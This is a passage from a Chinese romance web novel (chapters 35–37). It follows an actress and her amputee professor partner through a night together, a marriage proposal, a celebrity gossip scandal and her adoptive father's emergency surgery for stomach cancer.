很多年前她第一次去靳子煜家也遇到这种事,当时靳子煜特意跑出去给她买。
睡衣好解决,内衣内裤……
孟秦书灵机一动,拿起茶几上的手机,找到外卖App,刚准备下单,出去的靳子煜推门回来。
他手里提了一只印有某某品牌内衣的黑色纸袋,大号的,里面看起来装了不少东西。
放下手机,孟秦书静等靳子煜揭晓答案。
靳子煜怎会不知道孟秦书盯着那袋子是想问什么,他止步于她面前,两人之间隔着一张茶几,靳子煜也没打算卖关子,“小书,袋子里有睡衣还有内衣.....内裤,内衣店买的”
孟秦书感到惊讶,不是惊讶他替她买了内衣这些,而是.....靳子煜才出去不到十分钟,他是怎么仅用十分钟时间跑到小区外买回来这些东西的。
靳子煜读出了她眼里的求知欲,这让他眼前浮出前段时间,坐在课堂里,懵懂迷糊的她、奋笔疾书的她,靳子煜挑了下眉,眉间漫开笑来,“这些东西是静姐买的,挂在外面铁门上,我只是去取回来。”
临吃饭前,靳子煜想到今晚孟秦书如果留宿的话,房子里没有女人衣物,他给静姐发了微信信息,让她帮忙去三公里外的商场买内衣,他把孟秦书以前的尺码编辑完发给她,静姐回了个收到,帮他跑腿买回来这些。
靳子煜是到了楼上才想起来,静姐早在一小时前,给他拍了已挂在铁门上的照片,是他忘记了,手机放回兜里的那刻,他又想起一件事。
——看来以后家里得准备一衣柜女人服饰。
靳子煜拐个弯往西面那间房走,他右手里提了这一大袋东西,看样子不轻,步姿微晃。
孟秦书赶忙起身绕开茶几,追上靳子煜,一把攥住袋子拎绳,往自己方向带,靳子煜会意直接让给了她。
袋子完全落在她手里,孟秦书手臂往下沉了沉,真还别说几件衣服还挺重,淡粉色的的手心被勒出白痕,“卫生间是在里屋对吧?我去给它们过水。”
靳子煜伸手握住门把手,下压把手替她开门,“走到底左拐是卫生间。”
孟秦书拎着这一大袋东西率先进去,里面是自动感应灯,门开那霎,灯就亮了。
里面是一间面积很大的卧室,她继续前进,进门左手边是一面墙的衣橱,右手边还有一扇小门,应该是衣帽间,照着靳子煜的指示,走至落地窗前,再左拐进卫生间。
靳子煜一直跟在她身后,只是他走得慢,孟秦书也没刻意等他。
干湿分离的卫生间,敞亮干净,孟秦书最先看到的是智能马桶对面折叠起来的轮椅和马桶两侧设计的白色扶手。
有一只腋拐靠在浴门边,刚才在卧室孟秦书还看到一只在床头柜旁边,浴门大敞着里面有一把白色的树胶椅子,椅子后面墙上也有扶手,是为了方便靳子煜坐着冲澡。
这些无障碍设施在T市靳子煜家也有见到,后来到海城,因为是租的房子,不能随便乱动里面的布局,他只在浴室里放了一把塑料靠背椅子。
孟秦书想起靳子煜陪她在酒店那些天,无疑,他每天都是站着洗澡,对他而言不仅累,而且还容易发生意外,靳子煜不会说这些生活中的小麻烦,而她是忘记了。
靳子煜的脚步声出现在门口,并停在那里,“小书,洗衣机在阳台,看到那帘子没,拉开帘子外面是阳台。”
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孟秦书往右看,那儿确实有一片白色帘子,她走上去,撩开帘子,看到朝南的大阳台。
她拿出里面两盒睡衣套装,一盒是有点厚度的套装,一盒是绸缎面料的睡衣套装,拆开袋子,取出来,两套一起放入烘洗一体机中,纸袋子里还余下两盒女士内裤她一并拆开,孟秦书眼尖的发现清洗池上面还有一台小型烘洗机。
“那是洗内裤的,只是....平时都是洗我——”靳子煜斜倚墙面说,孟秦书没等他讲完,伸手拉开洗衣机门,把内裤扔进去,点了启动键。
做完这一切,剩下就是等烘洗机洗完,但需要一个半小时,孟秦书重回客厅,坐到沙发上,靳子煜亦是回来坐她旁边。
“子煜,看电视吗?”
“你那部电视剧《大梦想》是不是开播了?”
靳教授温声说着话,但他的手已不老实的爬到她的腰上,揽着她。
孟秦书侧眸瞧他,唇线微阖,眉目舒朗,倒是一脸正派。
“播了好些天,你要看吗?这部剧立意还是挺深的,讲的是勇于追梦,不畏将来的四对年轻人。”
靳子煜伸长手臂拿来桌上的遥控板,他摁了开机键,电视屏幕亮起,出现画面,靳子煜按键寻找《大梦想》这部电视剧。
孟秦书注意到右上角上的时间19:30。
呃......
怎么才七点多,但在她这里感觉似过了很久很久。
究其原因,还是靳子煜吃饭吃得太早了,模糊了她的时间观念。
找到这部电视剧,靳子煜点进去,从第一集开始看。
放下遥控板,揽她腰的手攀升到肩膀上,靳子煜慢慢往后靠,带着她一块,直至他背部靠在沙发靠背上,孟秦书舒适地枕着他这节手臂,靳子煜往她脸上掀一眼,在她晶亮的瞳眸看到电视剧里的画面。
与他相比,孟秦书倒是沉静,视线移到电视上,靳子煜摒弃那些杂乱的念头,把注意力回归到电视剧情里。
可事实上,孟秦书怎么可能沉静的下来,这会儿她懊悔死了,早知道在靳子煜问《大梦想》这部剧时,建议他看别的剧,看《射雕英雄传》都比看这部好。
那天晚上的事还历历在目,虽说是演戏,但她和温朔当街热吻这事让靳子煜产生误会,现在去看他们演的剧,总归不可能做到心如止水。
另外,这部剧不是纯纯的爱情,成年人的爱情就那么些事,热烈画面还挺多的。
虽说这部剧是群像剧,但贯穿推进整个故事的男女主是孟秦书扮演的夏夏和温朔扮演的李骁。
剧里两人是姐弟恋相差三岁,剧一开场是两人相恋三年后,夏夏在投行工作,李骁在互联网大厂担任技术员。
两个有追求、上进的年轻人,除了追求事业,还追求和谐的日常生活,一集里两人壁咚两次,滚床单一次,李骁不愧是弟弟,超会哄人,把夏夏哄得每天都跟掉在蜜罐里一样。
“呃,借位,床上我们都有穿衣服,裸露肩膀那里我里面穿的是抹胸裙。”孟秦书边看边在靳子煜耳边絮叨。
许是嫌她话太多,靳子煜挺起点身,上半身俯下来,把她压在身下,孟秦书低呼一声,心脏在胸腔里砰砰乱跳,下意识双手攥住他胸膛前的毛衣。
他与她额头相抵,近乎耳语的音量,“小书,我懂。”
“子煜,你去洗澡吧。”
男人温温淡淡的呼吸,护散在她脸上,她的脸皮底下仿佛生起小火炉,虽看不到自己的脸色,但想必一定满脸红晕。
笑容在他脸上蔓延,嗓音更是又蛊又挠人,“一起去吗?”
35. 日常
卫生间内有通风系统,花洒喷下的热水,腾腾热气很快会被吸进通风口内,集聚不起雾气。
孟秦书坐在靳子煜原先坐的凳子上,埋下头,打湿的长发上粘满了白色洗发液泡沫,双手轻抓湿发。
靳子煜在她后面,脚踩在软垫上,一手抓握墙上扶手,一手拿着花洒,温度适中的热水自上面下来,打在她头发上,在她一遍遍抓洗中冲掉头上的泡沫。
明黄色的洗浴间大灯下孟秦书背部裸露的肌肤通透白皙,柔嫩光滑,精致的蝴蝶骨微凸,楚楚纤腰,优美的身体曲线仿佛精心绘制的画作。
眼睛被烫到,却是嗓子眼在冒烟,仿佛划根火柴就能点着,靳子煜重重喘口气,只为释放嗓子里的燥火,却忘了椅子上的女人。
无端的一声,让女人双腿并拢往另侧歪,身体绷紧恍若拉紧的弓弦,可见紧张程度。
头发上的泡沫已冲干净,靳子煜关了花洒,拉来墙上毛巾架的毛巾,盖在她头顶,孟秦书翘起两根手指抓住毛巾,拿下来胡乱的擦了把脸,眼睛得以睁开。
眼前是靳子煜打湿的左腿,他的腿笔直健硕,有腿毛但不多,肤色如同光洁的白瓷,孟秦书脑袋里轰隆一声,仿佛晴天响起的一声闷雷。
整张脸再度烧起来,大有熊熊烈火之势,以前又不是没见过,现在怎么动不动就害臊。
靳子煜左腿小幅度摇了摇,孟秦书擦头发的手一顿,“蹭”地起身,给他让位,靳子煜一言不发,坐到凳子上,这次换孟秦书站他背后替他冲洗。
他先是手伸进墙柜里,张开手掌心,然后另只手挤压洗发水按压泵,浓稠的洗发液落入他掌心,最后他两只手打圈,举起手轻抓乌黑发亮的短发。
两人洗完澡一起从淋浴间出来,孟秦书拿了旁边立柜上提前准备好的粉色绸缎睡衣套装和内裤,干脆利索的穿上身,她回看一眼手扶玻璃移门把手,赤条条等待她穿好衣服让位的靳子煜。
孟秦书让到一旁,靳子煜一步上前,拉开抽屉取出里面深蓝色的缎面睡袍,甩开睡袍,他先穿一只手臂,再穿另只手,最后在腰间松松系了个结,下摆直至他的脚踝,Y领露出的肌肤,蒙着淡淡粉色,他们都是白皮,热水一浇就会这样。
靳子煜又从抽屉里拿出平角裤,平日里他要么坐在马桶盖上穿,要么进卧室坐在床上穿,孟秦书仍在盯着他身上看,没有要走的意思,罢了,以前又不是没见过。
穿好内裤,靳子煜还有一件事要做。
他的右腿残肢即使冲了快半个小时的热水,仍是冷冰冰的麻木感,近几年他一到寒冬,就会去医院开专用的中药包来热敷,确实有点用,而且还能起到抗炎作用。
“小书,你去床上看会儿电视上,我还需在泡会儿腿。”
靳子煜只是觉得这个事耽误时间,孟秦书与其在这里等他,不如去床上躺着。
孟秦书嗯声,可她头发还没吹干呢。
“吹风机在哪里?”
靳子煜差点把这事忘了,“洗手台第三个抽屉里。”
孟秦书站在镜子前吹头发,吹风机白噪音不是很大,她一缕一缕吹,吹干的发丝轻盈飘逸。
靳子煜手扶洗手台边沿,弯腰从洗手台下拿出一只可加热的定制木桶,他把木桶放在地上,再扶墙弯身把插头插入插座。
“小书,帮我个忙。”靳子煜抬眸看向孟秦书那张被水温烫出来得红扑扑的脸蛋,哑声说,“洗手台下层置物架上有一只打水用得大勺,麻烦你接三大勺热水,帮我倒木桶里。”
孟秦书关掉吹风机,不问他缘由,照他意思做,水龙头开关三次,木桶里装了一半的水,她在做这件事的时候,靳子煜在打开轮椅,他等会儿要坐在上面敷腿。
之前靳子煜试过在马桶盖上操作这件事,但高度过高,一次次下腰,腰部吃不消,这种事他做习惯了,平时其实很快,只是今天孟秦书占了洗手台位置,只好麻烦她搭把手。
很快吹干头发,听见地上的水声,孟秦书朝那儿看去。
木桶里的水变成了深黄色,里面有个药包,水面上冒着汩汩热气,孟秦书视线上移,停在靳子煜身上,他手里捏了一块泡了药液的已经分辨不出颜色的毛巾,敷在他的残肢上。
靳子煜右腿残肢剩余不到二十公分,为了不让渗下来的药液弄脏轮椅,他坐得很外面,几乎半个臀部在轮椅外面。
瓷砖地上是从他拳头缝里,一滴滴淌下来,溅开的褐红色药液。
“要敷多久?”孟秦书问。
闻声,靳子煜朝她看,眼眸弯了弯,“二十分钟,小书你不用等我,你去看电视吧。”
孟秦书拉开抽屉把吹风机放进去,推上抽屉她点头嗯一声出门,走时不忘带上移门。
躺在床上无所事事的孟秦书拿起床头柜上她的手机,很少看微博的她,点进微博。
热门页面上第一则博文,是和施漾有关,她兴味索然地往上滑,可滑过时,博文里一闪而过的四个字抓住了她的眼球,孟秦书往下滑,重回这条博文。
—施漾约会的神秘人疑是扬正集团太子爷,这组照片非常珍贵,大家且看且珍惜。
博文下面三张照片。
拍摄者用得是长焦镜头在远处偷拍的,镜头拍进酒店玻璃窗,拍到头戴黑色鸭舌帽,长发披肩的施漾挽着一个穿黑色西装的男人。
男人个子高大,一米七的施漾穿上高跟鞋勉强肩膀和他齐平,只是刚好有一堵墙挡住男人的正脸,所以第一张照片只看到一个左半身。
孟秦书滑到第二张照片,两人出现在旋转门里,男人左臂被挽着,右臂的臂弯里挂着一件深灰色大衣,好巧不巧地他的脸又被旋转门框遮住。
第三张照片在酒店旋转门外,男人背朝镜头,剪裁得体的高定西装临摹出他宽肩腰窄的矜贵身姿,自内而外散发出沉稳锋锐的强大气势。
施漾勾住他的脖子,而男人用挂着大衣的手环住她的腰,另只手臂微抬,隐约可看见他修长的两指之间夹了什么东西。
类似香烟。
别人认不出来,孟秦书怎么会认不出,此人正是霍清辞。
霍清辞怎么会和施漾扯上关系,所以他是……婚内出轨?
怎么……可能。
孟秦书所认识的霍清辞虽肆意散漫,但他没有许多公子哥自觉高高在上,傲慢、轻蔑众生的臭脾气,花天酒地更是和他绝缘,可以说霍清辞无论品性亦或是教养都是很好的。
姚宇曾开玩笑问霍清辞是不是有什么隐疾,他们兄弟几个出去玩,常常到后半程,大家都是该干嘛干嘛去了,只有他娇嫩的女伴在侧,仍能坐怀不乱,没毛病真解释不过
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去。
年轻时都不爱玩的人,现在是改了性子?
手机落在被面上,孟秦书拾起来握入手心,纠结着要不要给霍清辞打电话。
“小书。”靳子煜架着单只拐杖出现在卫生间门口,“怎么不看电视?”
孟秦书思考问题太过专注,没听见靳子煜的声音。
忽然间,孟秦书想到什么,再次点亮屏幕,这次她进热搜页面。
热搜第一正是施漾密会神秘人。
第二是扬正集团
第八、第九分别是#霍清辞施漾##扬正集团太子爷#
扬正集团最常出现在商业经济板块,这种娱乐新闻完全不沾边,无论是霍董,还是现在的霍清辞,都不是喜欢抛头露面的人。
这些年她一直受着霍清辞的庇护,因她背靠霍清辞,初入行的她可以提要求,身边人人对她怀揣善意,不会被叫去参加各种不必要的宴会,更不会被逼做不愿意做的事。
但孟秦书怎么会不知道,这其中也有嫂子唐蔓对他们无条件的信任,她从没因外界所传质问他们一句,每次见面对她总是笑脸相迎。
这么好的嫂子,霍清辞怎么能……怎么会……
床面往下一陷,孟秦书瞥过去,靳子煜已坐床边,拐杖被他靠在床头柜旁的墙上,柔声问她,“怎么了?”
孟秦书摇摇头,眼见不一定为实,不能草率定案,“没什么事。”
孟秦书把手机往床头柜上一放,往里挪些,靳子煜掀开被子,左腿划进来带动右腿残肢躺进来,然后盖上薄被。
今天两人都变成了薄荷味,靳子煜的沐浴露果然是薄荷味道的。
孟秦书往下平躺,被子盖到脖子,再挪回靳子煜身边,让她的整个身体紧贴住他身体。
靳子煜侧转过来,盯着她的发际线,说不上来的感觉,这会儿孟秦书似乎怏怏不乐。
或许是累了吧。
“小书,我关灯了,早点睡吧。”
孟秦书嗯声。
靳子煜背后墙面上有大灯开关,他身长手臂摸到它,一按,房间整个暗下来。
孟秦书翻了个身于靳子煜在黑暗中对视,由于外面下雨,别墅外又没有路灯,屋里一片漆黑,即使近距离都看不清彼此的面部轮廓。
明明没有任何光源,但他这双黑瞳,漆黑发亮如泉水冲刷的曜石。
靳子煜的指腹落在孟秦书右半边脸上,她微乎其微地缩了缩肩。
那双茶色的眼眸在伸手不见五指的夜间,出现细碎的光影,似溢满了星光。
相对却无言,但在靳子煜看来孟秦书是等待他说什么,他把她一整个圈入怀里,舔舔干涩的唇,说出这段时间一直在想的事,“小书,我想和你领证结婚,你愿意吗?”
有句话叫酒壮怂人胆,乌漆麻黑的夜里也有同等效果。
他不想等了,他们已经等待太久了。
孟秦书先是像被施法定住,片刻过后,在他怀里低低笑着,那笑声洋洋盈耳,毫不掩饰愉悦。
胸腔里这颗收紧的心逐渐放松,靳子煜被她笑声感染,嘴角弧度上扬。
止住笑,孟秦书攀上他的颈窝,温软的唇压在他温度异常高的耳朵上,嗓音格外低柔,撩人于无形,“子煜,能等我做完第二次手术吗?拍证件照好看点。”
36. 最后一面
早上半梦半醒时,孟秦书抬手挥过去,想去搂靳子煜的腰,结果手下一落空,秀眉微拧,她难受得睁开一只眼睛。
旁边的另一半被子是扁平的,孟秦书双臂撑起,下意识地探头往床下看了一眼,平整的木地板上只有她的一双拖鞋。
孟秦书在自己额头上拍一记,真是睡糊涂了,靳子煜又不是三岁小孩还能摔下床,即使真摔下去,也会爬起来呀。
靠在枕头上闭眼缓了半分钟,孟秦书混沌的大脑恢复清醒,她最先想到的是霍清辞和施漾那件事,昨天由于是夜里她不太好去打搅他,这会儿不知道几点了,他应该醒了吧?
脸转向床头柜,孟秦书是要拿手机看时间,却看到床头柜上平铺着一张笔记本里撕下来的纸。
纸张规规整整,没有一点缺口和毛边,靳子煜做什么都很有耐心,即使撕纸这种小事,他都力求完美。
两只手,食指和拇指各捏一边,孟秦书把这张纸拿起来。
靳子煜的字体不是那种龙飞凤舞个人风格很重的艺术字,他写的每个字,都是清秀中带着力量,充满才气,别具一格。
[小书,我今天上午要去一趟研究院,中午十一二点回来,你的早饭我没让阿姨给你准备,因为我不知道你什么时候醒来,你醒来了发我信息,想吃什么我让静姐给你做。]
纸张放回原位,孟秦书拿起手机,屏幕自动亮屏,上面的时间已是九点十三分,她的睡眠一直很好,除了那一年半时间。
一闭眼是白惨惨的灯光,分不清白天黑夜,偶尔还要使用安眠药助眠,正是在那时候,她无师自通的学会了抽烟。
有一回被霍清辞发现了,他把她一抽屉的烟都给倒进了垃圾桶,下楼时他顺便把垃圾桶带下去一并扔了,为此他还带她去看了心理医生。
医生让他给她找点事情做,不能一天到晚关在家里,回到家霍清辞问她想做什么,她不知道自己还能做什么,每天过得和行尸走肉一样,舞蹈早就荒废了。
恰逢某天姚宇过来,姚宇随口一句,“我们小书长得这么美,要不进娱乐圈,做大明星?”
霍清辞觉得他这个主意很馊,霍清辞的意思是让她再去上学,去念工商管理硕士(MBA)。
等她毕业以后,到他身边跟着他学习,将来有一定能力了,如果她有别的想法,比方说单干,他会支持她。
“阿辞,小书需要多跟外面的人接触,你总是把她带在身边我不是很赞成,更何况明星没有什么不好,凭小书这张脸我敢打包票一定能火。”
姚宇问她,“小书想不想靠自己赚大钱?你知道现在火得那个大明星一年收入多少吗?至少一个亿。”
赚钱?
一个亿。
她被金钱打动。
只因为她还欠了霍清辞三个亿,十辈子都还不清得账,她看向霍清辞,小声表达自己的想法:“我想试试做明星。”
霍清辞见她这么容易被忽悠,忍俊不禁,“行,但你别听姚宇胡咧咧,钱哪有这么好赚的,不过你肯走出去是好事。”
钱哪有这么好挣,可霍清辞眼睛都不带眨一下,帮她付了这笔巨款。
姚宇是对的,受万人追捧、风光无限,确实让她曾经丢失的自信心一点点重塑。
到今天为止近六年的明星生涯,她用四年时间还清了欠债,那天她递给霍清辞三张存单时他都惊呆了,呆了半晌后他没推辞,笑着收进自己钱包里。
她知道他在为她高兴。
不过抽烟这事,她仍在背后偷偷抽,直到遇到靳子煜,她已经很久没想起这件事了。
*
昨晚吃得少孟秦书睡梦中就感觉到饿了,她给靳子煜发去想喝粥的信息,等她换好来时穿的衣服走下楼,遇到在客厅拖地的静姐,静姐请她去餐厅喝小米粥。
书书自孟秦书下楼就一直跟在她的脚边,喝粥时,她撕了一点奶黄包的外皮放进它嘴里。
她知道宠物狗不能随便吃人类的东西,但是偶尔吃一点应该没关系。
粥还剩下一口时,她放在桌上的手机响了,是霍清辞的回电。
“小书什么事?”
霍清辞语气寻常中还透出一丝愉悦,越是这样孟秦书越是不知道怎么接。
说重了就好像自己那两通没被他接到的电话是专程来声讨他的罪责的,但事实上她只是想了解前因后果,不想误会了霍清辞,可是自己以什么立场呢。
孟秦书盯着眼前还剩下一个半奶黄包的盘子,“你是不是年后去美国?”
霍清辞嗯声。
拿起一根筷子,戳了一下奶黄包,亲眼见证包子表皮回弹,只是最终还是留下一个不深不浅的洞。
“你猜我在哪里?”孟秦书问。
“回国了?”
霍清辞一猜就中。
“昨天到的。”
“在靳子煜那儿?”,他轻轻一笑,笑声中夹了一两分意有所指的促狭。
又被他猜中了。
睫毛轻颤,不知是不是机身的热度烫到了耳朵,耳朵在微微发热,孟秦书很低地嗯,食指往后勾开遮在耳朵上的头发,让其散热。
“还有事吗?”
孟秦书听到连续翻页的声音,霍清辞似乎正在办公,这让她不好意思再去打搅他,“没事,我先挂了。”
翻页声停止,霍清辞说:“好,有什么事打电话,对了,你二次手术时间是几号?”
霍清辞对她的关心让她生出罪恶感,人一心虚就会有小动作,她觉得鼻梁有点痒,就想去挠它,可结果却是用了拿筷子的手,差点把自己戳瞎。
闭着眼睛回答他,“一月二十二日。”
“好我知道了,你什么时候回韩国,或者我们一起过去,你和靳子煜和我坐一架飞机。”
由于需全世界到处飞霍清辞名下有私人飞机,只是私人飞机起飞前需要申请航线,国际航班即使霍家有特权都需提前三天,出行必须是计划内的事项。
孟秦书放下筷子,“现在还不是很清楚。”
她愈发觉得今天自己就是个傻子。
结束与霍清辞的通话,孟秦书握着手机要回楼上,刚把椅子拉开,手机又响了,这次是微信电话铃声。
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看到微信头像,她坐回去,滑一下屏幕,放到耳边接听,只听电话那头的孟媛嗓音颤动,“南……小书,爸爸可能快不行了。”
孟媛的话让孟秦书手一抖,手机从掌心滑落,砸在桌面上,哐一声挺响的。
她捡起来重新放到耳边,半具身体和半张脸都在发麻,“他怎么了?”
“爸爸其实去年就被检查出来有中期胃癌,去年住了三个月的院,开过刀后又化疗一段时间病情算控制住了,不知道怎么会……”孟媛喉头哽咽不清,断断续续地说着,“今天凌晨五点在病床上吐血,被精神病院的车送到市一院……是医生打电话给我……我才知道,这会儿爸爸还在急诊室抢救,医生说情况不是很妙,可能会是……会是最后一面。”
最后一面。
这四个字让孟秦书在眼眶里隐忍很久的泪水,无知无觉地淌下来,两颗泪珠一前一后落在餐桌上。
“孟秦书,这是你的名字。”孟坤握住她的手,手把手一笔一划教她写。
吃完饭她要上楼,被孟坤叫住,拿出口袋里的红包,笑眯眯地递给她,“小书,红包拿好,新年快乐,以后每年都有。”
她和孟媛闹矛盾,孟坤每次都站她这边 “孟媛不许没大没小,和姐姐道歉!”
那天带着靳子煜见了他们,节假日回到家,孟坤声色俱厉地呵斥她,“孟秦书你为了那个穷小子要跟我们决裂,这些年我们白养你了,十六年的感情抵不过一个才结交两年的男人,你想和他走可以,你从此没有我们这对父母!”
硬得不行,孟坤来软的,循循善诱道:“你总是怪我们,认为我们在利用你,我问你,我和你妈妈给你安排的相亲对象哪个是差的,哪个不是百亿千亿身家,哪个不比你自己找的那个好,孩子,你现在还小不知道经济基础才是婚姻基础,我们安排给你的路,是能让你跨越阶级的,将来你会感谢我们的。”
十六年间好的坏的,实事求是讲没有孟坤,她不知道在哪个地方。
问孟媛要到具体地址,孟秦书跑上楼穿上羽绒服外套再跑下来。
正在拖楼梯下那块地的静姐不知道这个女人怎么突然这么着急,停下拖地的动作看着她。
女人像阵风从她面前越过,停在门口,她一把握住门把手,门往内开启一道缝,女人像是临时想到什么,扭头对她说,“静姐,子煜回来和他说一声,我出去办点事。”
*
孟秦书提前十分钟约了网约车,她需步行到小区外才能上车,没想到的是开车不到五分钟的路,她步行了用了二十分钟。
网约车与她几次通话,司机的态度一次比一次差,孟秦书头脑很乱,无瑕理会司机的坏脾气。
后座车门被拉开,这个不守时的女人坐入车内,司机扭脸过来,整张脸又黑又臭,正要开骂,看到她整张脸挂满泪痕,泛红的眼眸蓄满了晶莹的液体,所有的话咽回肚子里,脖子转回去准备发车。
女人凉薄的声音自后方传来,“到目的地,我给你转三百。”
和他亲眼所见的哭得梨花带雨的那张脸,恍若两人。
37. 手术
下车前孟秦书摸出羽绒服口袋里的一次性口罩戴在脸上,她依照自己承诺的,额外给司机转了三百元,收到钱,司机笑容可掬的欢送她下车。
手握住门把手往外一推,北风裹着冰凉的雨滴飞进车内,上车前天气只是阴沉,开出一段路就开始小雨,孟秦书从车内钻出,双脚落地便要关门,司机却在这时候叫了她一声美女。
孟秦书回看司机,以为他还有什么事。
司机扭身靠着车座椅,手臂通过两把座椅中间,手里拿了一把黑白格雨伞指向她。
司机好心,“美女拿去吧,我车里还有伞。”
孟秦书插兜的双手一动不动,但十指在兜里蜷了蜷,孟秦书还是对司机说了声,“谢谢,不用。”
关上车门,孟秦书冒雨跑到医院主路旁的人行道上,市大医院任何时候都是人满为患的,她穿行在人行道上的人群中间,大概跑了数十米,左拐拾级而上她进了影像楼。
曾在这里陪了靳子煜一两个月,对这里孟秦书再熟悉不过,影像楼串联急诊大楼,走里面比在外面绕个大半圈,可以缩短不少时间。
七弯八拐出了影像楼,孟秦书踏入急诊楼,左躲右闪避开通道上那些人,坐电梯直达十楼,就在她出电梯间,即将到手术室门口时,她在通道口看到了久违的宋珍珠。
脚下刹那顿住。
宋珍珠亦是看到了她,脸部表情微愕。
宋珍珠盘着一丝不苟的发髻,一身素雅的小香风套装,双手握着一只黑色丝绒手包,依然大方得体的外在,只是右眼角以前那道浅浅的鱼尾纹,较从前深了不少,但总体和七年前变化不大,看来嫁的那个男人对她还挺好。
与宋珍珠在交谈孟坤病情的孟媛,只觉得奇怪宋珍珠怎么不说话了,脸色有种惊讶但不止惊讶的古怪。
孟媛是背对孟秦书的自然没看到她,她顺着宋珍珠的视线,转身看过去,继而看到了五米开外的孟秦书,与宋珍珠相比,孟秦书看似很淡定。
*
三人同坐一把长椅,孟媛在两人中间,一起望着手术室那扇绿色大门。
“媛媛,放弃吧。”宋珍珠视线回到自己抓包的手上,回答十分钟以前孟媛让她帮忙决定,要不要继续抢救这件事。
已经抢救四五个小时,没什么必要了。
去年送进手术室,当时宋珍珠也被孟媛叫来,她其实不想管这些事,她和孟坤离婚已经六年多,虽说有二十多年夫妻情,但她已经再婚,没有哪个丈夫能容忍妻子去私会曾经的男人,要不是她和孟坤还有个女儿,她来都不会来,更不要说是付医药费这种事。
亏得霍清辞那小子还没泯灭人性,孟坤的一切医疗费用都是他在负责,不然孟坤怕是去年都捱不过。
孟媛一听放弃吧,泪水夺眶而出,掩面无声哭泣。
手术室大门缓缓移开,一位男医生走出来,四下环顾,朗声:“孟坤家属在吗?”
孟媛起身喊了声在。
医生看过来,对她说,“你们家属考虑下,如果还想试试,我们给他做全胃切除,有可能延长生存期,只是以后很长一段时间需流食,但照料的好,恢复得好也是能进食米饭,如果不打算做这个手术,我们先把他推去重症监护室,等待症状稳定下来你们在带回去。”
孟媛身体抖的说不出话来,宋珍珠起身替女儿做主,高声说,“医生我们不治了。”
母亲这句话无疑是给父亲宣判了死刑,孟媛腿一软,跌坐在椅子上,抱面转为嚎啕大哭。
医生点头欲转身,却听见另个年轻的女人冷静微凉的声音,“给他切胃。”
医生回看这个戴医用口罩,眸色沉着镇定的女人,看样子不过二十多岁,能做主?他用征询的眼神看向年纪大的那位,那位应该是她们的母亲,然而,这位母亲也是再看这个女儿。
“小书。”
这是两人碰面后宋珍珠第一次叫她。
孟秦书只盯着医生,“我是直系亲属是他女儿,有权利决定,也可以签字,费用不需要担心,我能支付。”
医生点点头,往回走,踢一脚墙上手术室门开关,等门开启后走了进去。
不多久,这位医生拿着夹了手术同意书的夹板走出来,孟秦书和孟媛一起迎上去。
孟秦书不带犹豫地拿了医生手里的夹板,一边翻页一边签字,六张纸很快签完,她还给医生,这时候,孟秦书口袋里的手机响了,她掏出手机看了一眼,走去一旁接。
“小书,你养父住院了,你知道吗?”霍清辞看似再问,实则在确认。
孟秦书看到通道尽头更僻静,她往那里走,边走边回复,“我在医院,对了,哥,以后医药费我来负责,你别管了。”
“我也刚从时秘那儿得知,这些年我没特意关注过你养父那边,如果是大事时秘才会和我说,去年你养父做过胃癌手术,由于是中期,治疗效果很好,出院时已达临床治愈,这事我一直没和你说,没想到复发的这么快。”
孟秦书停下来,平视眼前这扇绿色的小门,这扇门上贴了医用器材四个黑字,她从霍清辞声音里听出了自责,她薄凉地道出自己内心想法,“如果不是他快死了,我不会来看他,谁会和一个将死之人计较。”
“小书你总是嘴硬。”
心软,霍清辞没讲出来。
“……”
霍清辞,“小书,先这样吧,我还有点事。”
“好的,你忙。”
霍清辞放下手机,盯着还在计时的通话界面看,直等到孟秦书摁断,他才将手机裹入掌心。
偏头望出车窗,车窗贴了隐私膜,加上外面又是下雨,眼前的景物黑蒙蒙的,就连竖在门诊楼上海城第一人民医院这几个大字都看不清。
霍清辞回头说,“陈军开车吧,去梅奥医疗中心。”
司机陈军回了一声好,轻踩油门,平缓起步。
手心里的手机屏幕闪了一下,霍清辞拇指一滑进去聊天界面。
他那位女朋友给他发了一张穿着浅紫色抹胸礼服裙侧站在落地镜前的自拍照。
前凸后翘的身体曲线,婀娜多姿的轻盈体态,两者相互映衬,让人忍不住为之倾倒。
车轮经过减速带时震了一下,霍清辞手里的手机险些掉落,他拿住手机,再把手机翻过来,女朋友又一条信息发过来。
施漾【霍少,我身上这件裙子好看吗?一个小众品牌,全世界仅此一件,你说巧不巧我穿着刚合适。】
霍清辞回复很快【买了,晚上穿过来找我报销。】
靳子煜电话来时,摘胃手术才刚开始没多久,孟秦书接起来就回,“子煜,我在医院。”
一听医院靳子煜紧张起来,“小书怎么在医院?”
“不是我,我养父在做手术。”
孟秦书口中的养父让靳子煜想了两秒,他知道孟秦书是孟家养女,但以前孟秦书都是爸爸,爸爸叫,突然蹦出一个养父让他一时没反应过来。
“叔叔他……他怎么了?”
孟秦书平静如常地告知,“胃癌晚期。”
“小书在……哪家医院,我过来探望叔叔。”
以前孟父对他意见这么大,靳子煜是担心自己的出现会不会影响他的病情,可是既然知道了,探望病人是基本礼节,更何况这位还是小书的父亲,若是孟父仍不愿见到他,他再走便是。
“子煜,市一院,十楼手术室。”孟秦书没有阻拦他来。
临近中午,手术还在进行。
孟媛想到需要吃饭,只有吃了饭才有力气去熬接下去的时间。
孟媛询问孟秦书和宋珍珠想吃什么,两人都是一句都可以,孟媛起立离开椅子,
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径直往电梯间走。
拐进电梯间,孟媛刚巧碰上刚踏出电梯的靳子煜,两人都是往前走,近身前一起停下。
“靳教授,是来看我……”
靳子煜颔首,“听小书说叔叔在做手术,我过来探望他。”
孟媛想起以前父亲这么对待他,他还能不计前嫌,小书和她男朋友都是心地善良的人。
“谢谢。”孟媛眼睛热热的,强抿出一丝笑,“我去买中饭,靳教授有没有什么忌口?”
“没有,都可以。”靳子煜答,只是,“孟媛你的脸?”
眼前的孟媛脸上的伤呈青紫色,两颊尤为明显,左嘴角还有红肿。
难道是又被欺负了?
孟媛胡乱抹了把自己的脸,眼睑低垂,“靳教授,我只是不小心摔下楼,我没事,我去买客饭。”
正前方的电梯打开梯门,三名男性走出来,孟媛道了一声“我去买饭。”着急忙慌钻进电梯,看也没看电梯是上行还是下行。
“垛—垛—垛”
手杖轻击瓷砖地面发出的声响,传进孟秦书的耳朵里,她蓦地起身,走了几步,往右一拐,看到通道上已相距她很近的靳子煜,她嘴角弯出一抹浅淡的笑,快步走向他。
“子煜。”说不上为什么,一开口嗓音里含了委屈。
靳子煜往前半步想给孟秦书一个安慰的拥抱,垂眸间忽就瞥见从左边那面墙走出来的孟秦书的母亲。
他对他们印象太深了,他想他们依然。
